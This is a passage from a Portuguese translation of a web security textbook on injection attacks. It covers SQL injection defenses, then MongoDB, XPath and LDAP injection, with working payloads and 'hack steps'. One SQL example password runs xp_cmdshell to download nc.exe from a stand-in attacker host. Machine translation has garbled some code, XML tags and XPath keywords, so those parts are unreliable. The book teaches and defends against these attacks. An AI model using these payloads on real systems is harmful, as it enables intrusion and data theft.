Tradução:	Uma mensagem de erro geral. Todas as mensagens de erro listadas anteriormente têm precedência, portanto, algo mais deu errado. É provável que você possa tentar uma entrada alternativa e obter uma mensagem mais significativa.

Oracle:	`ORA-03001: recurso não implementado`
MS-SQL:	N/A
MySQL:	N/A
Tradução:	Você tentou executar uma ação que a Oracle não `permite`. Isso pode acontecer se você estiver tentando exibir a string de versão do banco de dados de `v$version`, mas estiver em uma consulta `UPDATE` ou `INSERT`.

Oracle:	`ORA-02030: só é possível selecionar a partir de tabelas/vistas fixas`
MS-SQL:	N/A
MySQL:	N/A
Tradução:	Você provavelmente estava tentando editar uma visualização `SYSTEM`. Isso pode acontecer se você estiver tentando exibir a string da versão do banco de dados de `v$version`, mas estiver em uma consulta `UPDATE` ou `INSERT`.

Prevenção de injeção de SQL

Apesar de todas as suas diferentes manifestações e das complexidades que podem surgir em sua exploração, a injeção de SQL é, em geral, uma das vulnerabilidades mais fáceis de evitar. No entanto, a discussão sobre as contramedidas da injeção de SQL é frequentemente enganosa, e muitas pessoas confiam em medidas defensivas que são apenas parcialmente eficazes.

Medidas parcialmente eficazes

Devido à proeminência das aspas simples nas explicações padrão das falhas de injeção de SQL, uma abordagem comum para evitar ataques é escapar de qualquer aspa simples na entrada do usuário duplicando-as. Você já viu duas situações em que essa abordagem falha:

- Se os dados numéricos fornecidos pelo usuário estiverem sendo

incorporados às consultas SQL, eles geralmente não são encapsulados entre aspas simples. Portanto, um

O atacante pode sair do contexto de dados e começar a inserir SQL arbitrário sem a necessidade de fornecer uma única aspa.

- Em ataques de injeção de SQL de segunda ordem, os dados que foram escapados com segurança quando inicialmente inseridos no banco de dados são posteriormente lidos do banco de dados e, em seguida, passados de volta para ele novamente. As aspas que foram duplicadas inicialmente retornam à sua forma original quando os dados são reutilizados.

Outra contramedida citada com frequência é o uso de procedimentos armazenados para todo o acesso ao banco de dados. Não há dúvida de que os procedimentos armazenados personalizados podem oferecer benefícios de segurança e desempenho. No entanto, eles não garantem a prevenção de vulnerabilidades de injeção de SQL por dois motivos:

- Como você viu no caso do Oracle, um procedimento armazenado mal escrito pode conter vulnerabilidades de injeção de SQL em seu próprio código. Problemas de segurança semelhantes surgem na construção de instruções SQL dentro de procedimentos armazenados, assim como em outros lugares. O fato de um procedimento armazenado estar sendo usado não impede a ocorrência de falhas.
- Mesmo que um procedimento armazenado robusto esteja sendo usado, as vulnerabilidades de injeção de SQL podem surgir se ele for invocado de forma insegura usando a entrada fornecida pelo usuário. Por exemplo, suponha que uma função de registro de usuário seja implementada em um procedimento armazenado, que é chamado da seguinte forma:

  ```
  exec sp_RegisterUser 'joe', 'secret'
  ```

  Essa instrução pode ser tão vulnerável quanto uma simples instrução `INSERT`. Por exemplo, um invasor pode fornecer a seguinte senha:

  ```
  foo'; exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--
  ```

  o que faz com que o aplicativo execute a seguinte consulta em lote:

  ```
  exec sp_RegisterUser 'joe', 'foo'; exec master..xp_cmdshell 'tftp
  wahh-attacker.com GET nc.exe'--'
  ```

  Portanto, o uso do procedimento armazenado não trouxe nenhum resultado.

De fato, em um aplicativo grande e complexo que executa milhares de instruções SQL diferentes, muitos desenvolvedores consideram a solução de reimplementar esses estados como procedimentos armazenados como uma sobrecarga injustificável no tempo de desenvolvimento.

Consultas parametrizadas

A maioria dos bancos de dados e plataformas de desenvolvimento de aplicativos fornece APIs para lidar com entradas não confiáveis de forma segura, o que evita o surgimento de vulnerabilidades de injeção de SQL. Em consultas parametrizadas (também conhecidas como *instruções preparadas*), a construção de uma instrução SQL contendo entrada de usuário é realizada em duas etapas:

1. O aplicativo especifica a estrutura da consulta, deixando espaços

reservados para cada item de entrada do usuário.

2. O aplicativo especifica o conteúdo de cada espaço reservado.

Crucialmente, não há como os dados criados que são especificados na segunda etapa interferirem na estrutura da consulta especificada na primeira etapa. Como a estrutura da consulta já foi definida, a API relevante lida com qualquer tipo de dado de espaço reservado de maneira segura, de modo que ele é sempre interpretado como dados e não como parte da estrutura da instrução.

Os dois exemplos de código a seguir ilustram a diferença entre uma consulta insegura construída dinamicamente a partir de dados do usuário e sua contraparte parametrizada segura. No primeiro, o parâmetro `name` fornecido pelo usuário é incorporado diretamente em uma instrução SQL, deixando o aplicativo vulnerável à injeção de SQL:

```
//definir a estrutura da consulta
String queryText = "select ename,sal from emp where ename ='";

//concatenar o nome fornecido pelo usuário
queryText += request.getParameter("name");
queryText += "'";

// executar a consulta
stmt = con.createStatement();
rs = stmt.executeQuery(queryText);
```

No segundo exemplo, a estrutura da consulta é definida usando um ponto de interrogação como espaço reservado para o parâmetro fornecido pelo usuário. O método `prepareStatement` é chamado para interpretar isso e fixar a estrutura da consulta a ser executada. Só então o método `setString` é usado para especificar o valor real do parâmetro. Como a estrutura da consulta já foi fixada, esse valor pode conter qualquer dado sem afetar a estrutura. A consulta é então executada com segurança:

```
//definir a estrutura da consulta
String queryText = "SELECT ename,sal FROM EMP WHERE ename = ?";

//prepare a instrução por meio da conexão de banco de
dados "con" stmt = con.prepareStatement(queryText);

//adicione a entrada do usuário à variável 1 (no primeiro espaço reservado
?) stmt.setString(1, request.getParameter("name"));

// executar a consulta
rs = stmt.executeQuery();
```

OBSERVAÇÃO Os métodos e a sintaxe exatos para a criação de consultas parametrizadas diferem entre bancos de dados e plataformas de desenvolvimento de aplicativos. Consulte o Capítulo 18 para obter mais detalhes sobre os exemplos mais comuns.

Para que as consultas parametrizadas sejam uma solução eficaz contra a injeção de SQL, é preciso ter em mente várias condições importantes:

- Elas devem ser usadas em todas as consultas a bancos de dados. Os autores encontraram muitos aplicativos em que os desenvolvedores decidiram, em cada caso, se deveriam usar uma consulta parametrizada. Nos casos em que a entrada fornecida pelo usuário estava claramente sendo usada, eles o faziam; caso contrário, não se davam ao trabalho. Essa abordagem tem sido a causa de muitas falhas de injeção de SQL. Em primeiro lugar, ao se concentrar apenas na entrada que foi imediatamente recebida do usuário, é fácil ignorar os ataques de segunda ordem, pois os dados que já foram processados são considerados confiáveis. Em segundo lugar, é fácil cometer erros sobre os casos específicos em que os dados que estão sendo manipulados são controláveis pelo usuário. Em um aplicativo grande, diferentes itens de dados são mantidos na sessão ou recebidos do cliente. As suposições feitas por um desenvolvedor podem não ser comunicadas a outros. O tratamento de itens de dados específicos pode mudar no futuro, introduzindo uma falha de injeção de SQL em consultas anteriormente seguras. É muito mais seguro adotar a abordagem de obrigar o uso de consultas parametrizadas em todo o aplicativo.
- Cada item de dados inserido na consulta deve ser devidamente parametrizado. Os autores encontraram vários casos em que a maioria dos parâmetros de uma consulta é tratada com segurança, mas um ou dois itens são concatenados diretamente na string usada para especificar a estrutura da consulta. O uso de consultas parametrizadas não impedirá a injeção de SQL se alguns parâmetros forem tratados dessa forma.
- Os espaços reservados para parâmetros não podem ser usados para especificar os nomes de tabelas e colunas usados na consulta. Em alguns casos raros, os aplicativos precisam especificar esses itens em uma consulta SQL com base nos dados fornecidos pelo usuário. Nessa situação, a melhor abordagem é usar uma lista branca de valores bons conhecidos (a lista de tabelas e colunas realmente usadas no banco de dados) e rejeitar qualquer entrada que não corresponda a um item dessa lista. Caso contrário, deve-se aplicar uma validação rigorosa na entrada do usuário, por exemplo, permitindo apenas caracteres alfanuméricos, excluindo espaços em branco e aplicando um limite de comprimento adequado.
- Os placeholders de parâmetros não podem ser usados para outras partes da consulta, como as palavras-chave `ASC` ou `DESC` que aparecem em uma cláusula `ORDER BY` ou qualquer outra palavra-chave SQL, pois elas fazem parte da estrutura da consulta. Assim como acontece com os nomes de tabelas e colunas, se for necessário que esses itens sejam especificados com base nos dados fornecidos pelo usuário, deve-se aplicar uma validação rigorosa da lista branca para evitar ataques.

Defesa em profundidade

Como sempre, uma abordagem robusta à segurança deve empregar medidas de defesa em profundidade para oferecer proteção adicional caso as defesas da linha de frente falhem por qualquer motivo. No contexto de ataques contra bancos de dados back-end, três camadas de defesa adicional podem ser empregadas:

- O aplicativo deve usar o nível mais baixo possível de privilégios ao acessar o banco de dados. Em geral, o aplicativo não precisa de permissões de nível DBA. Normalmente, ele só precisa ler e gravar seus próprios dados. Em situações críticas para a segurança, o aplicativo pode empregar uma conta de banco de dados diferente para executar ações diferentes. Por exemplo, se 90% das consultas ao banco de dados exigirem apenas acesso de leitura, elas poderão ser executadas usando uma conta que não tenha privilégios de gravação. Se uma determinada consulta precisar ler apenas um subconjunto de dados (por exemplo, a tabela de pedidos, mas não a tabela de contas de usuário), poderá ser usada uma conta com o nível de acesso correspondente. Se essa abordagem for aplicada em todo o aplicativo, é provável que qualquer falha residual de injeção de SQL que possa existir tenha seu impacto reduzido significativamente.
- Muitos bancos de dados corporativos incluem uma enorme quantidade de funcionalidades padrão que podem ser aproveitadas por um invasor que adquire a capacidade de executar instruções SQL arbitrárias. Sempre que possível, as funções desnecessárias devem ser removidas ou desativadas. Embora haja casos em que um invasor habilidoso e determinado possa recriar algumas funções necessárias por outros meios, essa tarefa geralmente não é simples, e o fortalecimento do banco de dados ainda colocará obstáculos significativos no caminho do invasor.
- Todos os patches de segurança emitidos pelo fornecedor devem ser avaliados, testados e aplicados em tempo hábil para corrigir vulnerabilidades conhecidas no próprio software do banco de dados. Em situações críticas de segurança, os administradores de banco de dados podem usar vários serviços baseados em assinantes para obter notificação antecipada de algumas vulnerabilidades conhecidas que ainda não foram corrigidas pelo fornecedor. Eles podem implementar medidas adequadas para contornar a situação nesse ínterim.

Injetando no NoSQL

O termo NoSQL é usado para se referir a vários armazenamentos de dados que fogem das arquiteturas de banco de dados relacionais padrão. Os armazenamentos de dados NoSQL representam dados usando mapeamentos de chave/valor e não dependem de um esquema fixo, como uma tabela de banco de dados convencional. As chaves e os valores podem ser definidos arbitrariamente, e o formato do valor geralmente não é relevante para o armazenamento de dados. Um outro recurso do armazenamento de chave/valor é que um valor pode ser uma estrutura de dados em si, permitindo o armazenamento hierárquico,

diferentemente da estrutura de dados plana dentro de um esquema de banco de dados.

Os defensores do NoSQL afirmam que isso tem várias vantagens, principalmente no manuseio de conjuntos de dados muito grandes, em que a estrutura hierárquica do armazenamento de dados pode ser otimizada exatamente conforme necessário para reduzir a sobrecarga na recuperação de conjuntos de dados. Nesses casos, um banco de dados convencional pode exigir referências cruzadas complexas de tabelas para recuperar informações em nome de um aplicativo.

Do ponto de vista da segurança de um aplicativo da Web, a principal consideração é como o aplicativo consulta os dados, pois isso determina quais formas de injeção são possíveis. No caso da injeção de SQL, a linguagem SQL é amplamente semelhante em diferentes produtos de banco de dados. O NoSQL, por outro lado, é um nome dado a uma variedade diferente de armazenamentos de dados, todos com seus próprios comportamentos. Nem todos eles usam uma única linguagem de consulta.

Aqui estão alguns dos métodos de consulta comuns usados pelos armazenamentos de dados NoSQL:

- Pesquisa de chave/valor
- XPath (descrito mais adiante neste capítulo)
- Linguagens de programação, como JavaScript

O NoSQL é uma tecnologia relativamente nova que evoluiu rapidamente. Ela ainda não foi implantada em uma escala semelhante à de tecnologias mais maduras, como o SQL. Portanto, a pesquisa sobre vulnerabilidades relacionadas ao NoSQL ainda está em sua infância. Além disso, devido aos meios inerentemente simples pelos quais muitas implementações de NoSQL permitem o acesso aos dados, os exemplos às vezes discutidos de injeção em armazenamentos de dados NoSQL podem parecer artificiais.

É quase certo que vulnerabilidades exploráveis surgirão na forma como os armazenamentos de dados NoSQL são usados nos aplicativos da Web de hoje e de amanhã. Um desses exemplos, derivado de um aplicativo do mundo real, é descrito na próxima seção.

Injetando no MongoDB

Muitos bancos de dados NoSQL fazem uso de linguagens de programação existentes para fornecer um mecanismo de consulta flexível e programável. Se as consultas forem criadas usando a concatenação de strings, um invasor poderá tentar sair do contexto de dados e alterar a sintaxe da consulta. Considere o exemplo a seguir, que executa um login com base em registros de usuários em um armazenamento de dados do MongoDB:

```
$m = new Mongo();
$db = $m->cmsdb;
$collection = $db->user;
$js = "function() {
 return this.username == '$username' & this.password == '$password'; }";

$obj = $collection->findOne(array('$where' => $js)); se
```

```
(isset($obj["uid"]))
{
      $logged_in=1;
```

```
}
mais
{
      $logged_in=0;
}
```

`$js` é uma função JavaScript, cujo código é construído dinamicamente e inclui o nome de usuário e a senha fornecidos pelo usuário. Um invasor pode contornar a lógica de autenticação fornecendo um nome de usuário:

```
Marcus'//
```

e qualquer senha. A função JavaScript resultante tem a seguinte aparência:

```
function() { return this.username == 'Marcus'//' & this.password == 'aaa'; }
```

OBSERVAÇÃO Em JavaScript, uma barra dupla (**//**) significa um comentário de resto de linha, portanto, o código restante na função é comentado.

Um meio alternativo de garantir que a função `$js` sempre retorne **verdadeiro**, sem usar um comentário, seria fornecer um nome de usuário de:

```
a' || 1==1 || 'a'=='a
```

O JavaScript interpreta os vários operadores da seguinte forma:

```
(this.username == 'a' || 1==1) || ('a'=='a' & this.password ==
'aaa');
```

Isso faz com que todos os recursos da coleção do usuário sejam correspondidos, pois a primeira condição disjuntiva é sempre verdadeira (1 é sempre igual a 1).

Injetando no XPath

A XML Path Language (XPath) é uma linguagem interpretada usada para navegar em documentos XML e recuperar dados de dentro deles. Na maioria dos casos, uma expressão XPath representa uma sequência de etapas necessárias para navegar de um nó de um documento para outro.

Quando os aplicativos da Web armazenam dados em documentos XML, eles podem usar o XPath para acessar os dados em resposta à entrada fornecida pelo usuário. Se essa entrada for inserida na consulta XPath sem nenhuma filtragem ou sanitização, um invasor poderá manipular a consulta para interferir na lógica do aplicativo ou recuperar dados para os quais não está autorizado.

Os documentos XML geralmente não são o veículo preferido para armazenar dados corporativos. No entanto, eles são usados com frequência para armazenar dados de configuração de aplicativos que podem ser recuperados com base na entrada do usuário. Eles também podem ser usados por aplicativos menores para manter informações simples, como credenciais de usuário, funções e privilégios.

Considere o seguinte armazenamento de dados XML:

```
<addressBook>
   <endereço>
       <firstName>William</firstName>
       <sobrenome>Gates</ssobrenome>
       <senha>MSRocks!</senha>
       <email>billyg@microsoft.com</email>
       <ccard>5130 8190 3282 3515</ccard>
   </endereço>
   <endereço>
       <firstName>Chris</firstName>
       <sobrenome>Dawes</sobrenome>
       <senha>secreto</senha>
       <email>cdawes@craftnet.de</email>
       <ccard>3981 2491 3242 3121</ccard>
   </endereço>
   <endereço>
       <firstName>James</firstName>
       <sobrenome>Hunter</sobrenome>
       <senha>letmein</senha>
       <email>james.hunter@pookmail.com</email>
       <ccard>8113 5320 8014 3313</ccard>
   </endereço>
</addressBook>
```

Uma consulta XPath para recuperar todos os endereços de e-mail teria a seguinte aparência:

```
//endereço/email/texto()
```

Uma consulta para retornar todos os detalhes do usuário Dawes teria a seguinte aparência:

```
//address[surname/text()='Dawes']
```

Em alguns aplicativos, os dados fornecidos pelo usuário podem ser incorporados diretamente em consultas XPath, e os resultados da consulta podem ser retornados na resposta do aplicativo ou usados para determinar algum aspecto do comportamento do aplicativo.

Subvertendo a lógica do aplicativo

Considere uma função de aplicativo que recupera o número do cartão de crédito armazenado de um usuário com base em um nome de usuário e senha. A seguinte consulta XPath verifica efetivamente as credenciais fornecidas pelo usuário e recupera o número do cartão de crédito do usuário relevante:

```
//endereço[sobrenome/texto()='Dawes' e
senha/texto()='secreto']/cartão/texto()
```

Nesse caso, um invasor pode conseguir subverter a consulta do aplicativo de forma idêntica a uma falha de injeção de SQL. Por exemplo, fornecendo uma senha com esse valor:

```
' ou 'a'='a
```

resulta na seguinte consulta XPath, que recupera os detalhes do cartão de crédito de todos os usuários:

```
//address[surname/text()='Dawes' and password/text()='' ou 'a'='a']/
ccard/text()
```

OBSERVAÇÃO

- Assim como na injeção de SQL, as aspas simples não são necessárias ao injetar em um valor numérico.
- Diferentemente das consultas SQL, as palavras-chave nas consultas XPath diferenciam maiúsculas de minúsculas, assim como os nomes dos elementos no próprio documento XML.

Injeção informada de XPath

As falhas de injeção XPath podem ser exploradas para recuperar informações arbitrárias de dentro do documento XML de destino. Uma maneira confiável de fazer isso usa a mesma técnica descrita para a injeção de SQL, fazendo com que o aplicativo responda de maneiras diferentes, dependendo de uma condição especificada pelo invasor. O envio das duas senhas a seguir resultará em um comportamento diferente por parte do aplicativo. Os resultados são retornados no primeiro caso, mas não no segundo:

```
' ou 1=1 e 'a'='a '
ou 1=2 e 'a'='a
```

Essa diferença de comportamento pode ser aproveitada para testar a veracidade de qualquer condição especificada e, portanto, extrair informações arbitrárias, um byte de cada vez. Assim como no SQL, a linguagem XPath contém uma função de substring que pode ser usada para testar o valor de uma cadeia de caracteres, um caractere por vez. Por exemplo, fornecendo esta senha:

```
' or //address[surname/text()='Gates' and substring(password/text(),1,1)= 'M']
 and 'a'='a
```

resulta na seguinte consulta XPath, que retorna resultados se o primeiro caractere da senha do usuário Gates for `M`:

```
//endereço[sobrenome/texto()='Dawes' e senha/texto()='' ou
//address[surname/text()='Gates' and substring(password/text(),1,1)= 'M'] and
'a'='a ']/ccard/text()
```

Ao percorrer cada posição de caractere e testar cada valor possível, um invasor pode extrair o valor total da senha de Gates.

EXPERIMENTE!

http://mdsec.net/cclookup/14/

Injeção cega de XPath

No ataque que acabamos de descrever, a condição de teste injetada especificava o caminho absoluto para os dados extraídos (`endereço`) e os nomes dos campos visados (`sobrenome` e `senha`). De fato, é possível montar um ataque totalmente cego sem a apresentação dessas informações. As consultas XPath podem conter etapas relativas ao nó atual no documento XML, portanto, a partir do nó atual, é possível navegar para o nó pai ou para um nó filho específico. Além disso, o XPath contém funções para consultar meta-informações sobre o documento, incluindo o nome de um elemento específico. Usando essas técnicas, é possível extrair os nomes e valores de todos os nós do documento sem conhecer nenhuma informação prévia sobre sua estrutura ou conteúdo.

Por exemplo, você pode usar a técnica de substring descrita anteriormente para extrair o nome do pai do nó atual, fornecendo uma série de senhas deste formato:

```
' or substring(name(parent::*[position()=1]),1,1)= 'a
```

Essa entrada gera resultados, pois a primeira letra do nó de `endereço` é `a`. Passando para a segunda letra, você pode confirmar que é `d` fornecendo as seguintes senhas, a última das quais gera resultados:

```
' or substring(name(parent::*[position()=1]),2,1)='a '
or substring(name(parent::*[position()=1]),2,1)='b ' or
substring(name(parent::*[position()=1]),2,1)='c  '  or
substring(name(parent::*[position()=1]),2,1)='d
```

Depois de estabelecer o nome do nó `de endereço`, você pode percorrer cada um de seus nós filhos, extraindo todos os seus nomes e valores. Especificar o nó filho relevante por índice evita a necessidade de saber os nomes de qualquer nó. Por exemplo, a consulta a seguir retorna o valor `Hunter`:

```
//address[position()=3]/child::node()[position()=4]/text()
```

E a consulta a seguir retorna o valor `letmein`:

```
//address[position()=3]/child::node()[position()=6]/text()
```

Essa técnica pode ser usada em um ataque completamente cego, em que nenhum resultado é retornado nas respostas do aplicativo, criando uma condição injetada que especifique o nó de destino por índice. Por exemplo, o fornecimento da seguinte senha retorna resultados se o primeiro caractere da senha de Gates for M:

```
' or substring(//address[position()=1]/child::node()[position()=6]/
text(),1,1)= 'M' and 'a'='a
```

Percorrendo cada nó filho de cada nó de endereço e extraindo seus valores um caractere de cada vez, você pode extrair todo o conteúdo do armazenamento de dados XML.

DICA O XPath contém duas funções úteis que podem ajudá-lo a automatizar o ataque anterior e a iterar rapidamente por todos os nós e dados no documento XML:

- **`count()`** retorna o número de nós filhos de um determinado elemento, que pode ser usado para determinar o intervalo de valores **`de position()`** a serem iterados.
- **`string-length()`** retorna o comprimento de uma cadeia de caracteres fornecida, que pode ser usada para determinar o intervalo de valores **`de substring()`** a serem iterados.

EXPERIMENTE!

http://mdsec.net/cclookup/19/

Localização de falhas de injeção de XPath

Muitas das cadeias de ataque que são comumente usadas para sondar falhas de injeção de SQL normalmente resultam em comportamento anômalo quando submetidas a uma função que é vulnerável à injeção de XPath. Por exemplo, qualquer uma das duas cadeias de caracteres a seguir geralmente invalida a sintaxe da consulta XPath e gera um erro:

```
'
'--
```

Uma ou mais das seguintes cadeias de caracteres normalmente resultam em alguma alteração no comportamento do aplicativo sem causar um erro, da mesma forma que em relação às falhas de injeção de SQL:

```
' ou 'a'='a
' e 'a'='b ou
 1=1
 e 1=2
```

Portanto, em qualquer situação em que seus testes de injeção de SQL forneçam evidências provisórias de uma vulnerabilidade, mas você não consiga explorar a falha de forma conclusiva, você deve investigar a possibilidade de estar lidando com uma falha de injeção de XPath.

ETAPAS DO HACK

1. Tente enviar os seguintes valores e determine se eles resultam em um comportamento diferente do aplicativo, sem causar um erro:

```
' ou count(parent::*[position()=1])=0 ou 'a'='b '
ou count(parent::*[position()=1])>0 ou 'a'='b
```

Se o parâmetro for numérico, tente também as seguintes cadeias de caracteres de teste:

```
1 ou count(parent::*[position()=1])=0
1 ou count(parent::*[position()=1])>0
```

2. Se qualquer uma das cadeias de caracteres anteriores causar um comportamento diferencial no aplicativo sem causar um erro, é provável que você possa extrair dados arbitrários criando condições de teste para extrair um byte de informação por vez. Use uma série de condições com a seguinte forma para determinar o nome do pai do nó atual:

```
substring(name(parent::*[position()=1]),1,1)='a'
```

3. Depois de extrair o nome do nó pai, use uma série de condições com a seguinte forma para extrair todos os dados da árvore XML:

```
substring(//parentnodename[position()=1]/child::node()
[position()=1]/text(),1,1)='a'
```

Como evitar a injeção de XPath

Se achar necessário inserir uma entrada fornecida pelo usuário em uma consulta XPath, essa operação só deve ser realizada em itens simples de dados que possam ser submetidos a uma validação de entrada rigorosa. A entrada do usuário deve ser verificada em relação a uma lista branca de caracteres aceitáveis, que, idealmente, deve incluir apenas caracteres alfanuméricos. Os caracteres que podem ser usados para interferir na consulta XPath devem ser bloqueados, incluindo `( ) = ' [ ] : , * /` e todos os espaços em branco. Qualquer entrada que não corresponda à lista branca deve ser rejeitada, não sanitizada.

Injeção no LDAP

O LDAP (Lightweight Directory Access Protocol) é usado para acessar serviços de diretório em uma rede. Um diretório é um armazenamento de dados organizado hierarquicamente que pode conter qualquer tipo de informação, mas é comumente usado para armazenar dados pessoais, como nomes, números de telefone, endereços de e-mail e funções de trabalho.

Exemplos comuns de LDAP são o Active Directory, usado nos domínios do Windows, e o OpenLDAP, usado em várias situações. É mais provável que você encontre o LDAP sendo usado em aplicativos da Web baseados na intranet corporativa, como um aplicativo de RH que permite que os usuários visualizem e modifiquem informações sobre os funcionários.

Cada consulta LDAP usa um ou mais filtros de pesquisa, que determinam as entradas de diretório que são retornadas pela consulta. Os filtros de pesquisa podem usar vários operadores lógicos para representar condições de pesquisa complexas. Os filtros de pesquisa mais comuns que você provavelmente encontrará são os seguintes:

- **As condições de correspondência simples** correspondem ao valor de um único atributo. Por exemplo, uma função de aplicativo que procura um usuário por meio de seu nome de usuário pode usar esse filtro:

  ```
  (nome de usuário=daf)
  ```

- **As consultas disjuntivas** especificam várias condições, qualquer uma das quais deve ser atendida pelos itens retornados. Por exemplo, uma função de pesquisa que procura um termo de pesquisa fornecido pelo usuário em vários atributos de diretório pode usar esse filtro:

  ```
  (|(cn=searchterm)(sn=searchterm)(ou=searchterm))
  ```

- **As consultas conjuntivas** especificam várias condições, todas as quais devem ser atendidas pelas entradas retornadas. Por exemplo, um mecanismo de login implementado no LDAP pode usar esse filtro:

  ```
  (&(nome de usuário=daf)(senha=secreto)
  ```

Assim como ocorre com outras formas de injeção, se a entrada fornecida pelo usuário for inserida em um filtro de pesquisa LDAP sem nenhuma validação, pode ser possível que um invasor forneça uma entrada criada que modifique a estrutura do filtro e, assim, recupere dados ou execute ações de forma não autorizada.

Em geral, as vulnerabilidades de injeção de LDAP não são tão prontamente exploráveis quanto as falhas de injeção de SQL, devido aos seguintes fatores:

- Quando o filtro de pesquisa emprega um operador lógico para especificar uma consulta conjuntiva ou disjuntiva, isso geralmente aparece antes do ponto em que os dados fornecidos pelo usuário são inseridos e, portanto, não podem ser modificados. Portanto, as condições de correspondência simples e as consultas conjuntivas não têm um equivalente para o tipo de ataque "`ou 1=1`" que surge com a injeção de SQL.
- Nas implementações de LDAP de uso comum, os atributos de diretório a serem retornados são passados para as APIs de LDAP como um parâmetro separado do filtro de pesquisa e, normalmente, são codificados no aplicativo.

Portanto, geralmente não é possível manipular a entrada fornecida pelo usuário para recuperar atributos diferentes daqueles que a consulta pretendia recuperar.

- Os aplicativos raramente retornam mensagens de erro informativas, portanto, as vulnerabilidades geralmente precisam ser exploradas "às cegas".

Exploração da injeção de LDAP

Apesar das limitações descritas acima, em muitas situações reais é possível explorar vulnerabilidades de injeção de LDAP para recuperar dados não autorizados do aplicativo ou executar ações não autorizadas. Os detalhes de como isso é feito normalmente dependem muito da construção do filtro de pesquisa, do ponto de entrada para a entrada do usuário e dos detalhes de implementação do próprio serviço LDAP de back-end.

Consultas disjuntivas

Considere um aplicativo que permite aos usuários listar os funcionários de um determinado departamento da empresa. Os resultados da pesquisa são restritos aos locais geográficos que o usuário está autorizado a visualizar. Por exemplo, se um usuário estiver autorizado a visualizar os locais de Londres e Reading e pesquisar o departamento de "vendas", o aplicativo executará a seguinte consulta disjuntiva:

```
(|(department=London sales)(department=Reading sales))
```

Aqui, o aplicativo constrói uma consulta disjuntiva e acrescenta diferentes expressões antes da entrada fornecida pelo usuário para impor o controle de acesso necessário.

Nessa situação, um invasor pode subverter a consulta para retornar detalhes de todos os funcionários em todos os locais, enviando o seguinte termo de pesquisa:

```
)(department=*
```

O caractere `*` é um curinga no LDAP; ele corresponde a qualquer item. Quando essa entrada é incorporada ao filtro de pesquisa LDAP, a seguinte consulta é executada:

```
(|(department=London )(department=*)(department=Reading )(department=*))
```

Como essa é uma consulta disjuntiva e contém o termo curinga `(department=*)`, ela corresponde a todas as entradas do diretório. Ela retorna os detalhes de todos os funcionários de todos os locais, subvertendo assim o controle de acesso do aplicativo.

EXPERIMENTE!

```
http://mdsec.net/employees/31/ http://mdsec.net/employees/49/
```

Consultas conjuntivas

Considere uma função de aplicativo semelhante que permita aos usuários pesquisar funcionários por nome, novamente dentro da região geográfica que eles estão autorizados a visualizar.

Se um usuário estiver autorizado a pesquisar no local de Londres e pesquisar o nome `daf`, a seguinte consulta será realizada:

```
(&(givenName=daf)(department=London*))
```

Aqui, a entrada do usuário é inserida em uma consulta conjuntiva, cuja segunda parte impõe o controle de acesso exigido ao fazer a correspondência de itens em apenas um dos departamentos de Londres.

Nessa situação, dois ataques diferentes podem ser bem-sucedidos, dependendo dos detalhes do serviço LDAP de back-end. Algumas implementações de LDAP, incluindo o OpenLDAP, permitem que vários filtros de pesquisa sejam agrupados, e eles são aplicados de forma disjuntiva. (Em outras palavras, são retornados os itens de diretório que correspondem a qualquer um dos filtros em lote). Por exemplo, um invasor poderia fornecer a seguinte entrada:

```
*))(&(givenName=daf
```

Quando essa entrada é incorporada ao filtro de pesquisa original, ela se torna:

```
(&(givenName=*))(&(givenName=daf)(department=London*))
```

Isso agora contém dois filtros de pesquisa, o primeiro dos quais contém uma única condição de correspondência curinga. Os detalhes de todos os funcionários são retornados de todos os locais, subvertendo assim o controle de acesso do aplicativo.

EXPERIMENTE!

http://mdsec.net/employees/42/

OBSERVAÇÃO Essa técnica de injeção de um segundo filtro de pesquisa também é eficaz contra condições de correspondência simples que não empregam nenhum operador lógico, desde que a implementação de back-end aceite vários filtros de pesquisa.

O segundo tipo de ataque contra consultas conjuntivas explora a forma como muitas implementações de LDAP lidam com bytes `NULL`. Como essas implementações normalmente são escritas em código nativo, um byte `NULL` em um filtro de pesquisa efetivamente encerra a cadeia de caracteres, e todos os caracteres que vierem depois do `NULL` são ignorados. Embora o LDAP não ofereça suporte a comentários (da mesma forma que a sequência `--` pode ser usada no SQL), esse tratamento de bytes `NULL` pode ser explorado de forma eficaz para "comentar" o restante da consulta.

No exemplo anterior, o invasor pode fornecer a seguinte entrada:

```
*))%00
```

A sequência `%00` é decodificada pelo servidor de aplicativos em um byte literal `NULL`, portanto, quando a entrada é incorporada ao filtro de pesquisa, ela se torna:

```
(&(givenName=*))[NULL])(department=London*))
```

Como esse filtro é truncado no byte `NULL`, no que diz respeito ao LDAP, ele contém apenas uma única condição curinga, de modo que os detalhes de todos os funcionários de departamentos fora da área de Londres também são retornados.

EXPERIMENTE!

`http://mdsec.net/employees/13/` `http://mdsec.net/employees/42/`

Localização de falhas de injeção de LDAP

O fornecimento de entrada inválida para uma operação LDAP normalmente não resulta em uma mensagem de erro informativa. Em geral, as evidências disponíveis para o diagnóstico de vulnerabilidade incluem os resultados retornados por uma função de pesquisa e a ocorrência de um erro, como um código de status HTTP 500. No entanto, você pode usar as etapas a seguir para identificar uma falha de injeção LDAP com um certo grau de confiabilidade.

ETAPAS DO HACK

1. Tente inserir apenas o caractere `*` como termo de pesquisa. Esse caractere funciona como um curinga no LDAP, mas não no SQL. Se um grande número de resultados for retornado, esse é um bom indicador de que você está lidando com uma consulta LDAP.
2. Tente inserir um número de colchetes de fechamento:
   `))))))))))`

   Essa entrada fecha todos os colchetes que envolvem sua entrada, bem como aqueles que encapsulam o próprio filtro de pesquisa principal. Isso resulta em colchetes de fechamento não correspondentes, invalidando a sintaxe da consulta. Se ocorrer um erro, o aplicativo poderá estar vulnerável à injeção de LDAP. (Observe que essa entrada também pode quebrar muitos outros tipos de lógica de aplicativo, portanto, isso fornece um forte indicador somente se você já estiver confiante de que está lidando com uma consulta LDAP).

Continuação

PASSOS DO HACKER *(CONTINUAÇÃO)*

3. Tente inserir várias expressões criadas para interferir em diferentes tipos de consultas e veja se elas permitem que você influencie os resultados retornados. O atributo `cn` é compatível com todas as implementações de LDAP e
é útil se você não souber nenhum detalhe sobre o diretório que está consultando. Por exemplo:

```
)(cn=*
*))(|(cn=*
*))%00
```

Como evitar a injeção de LDAP

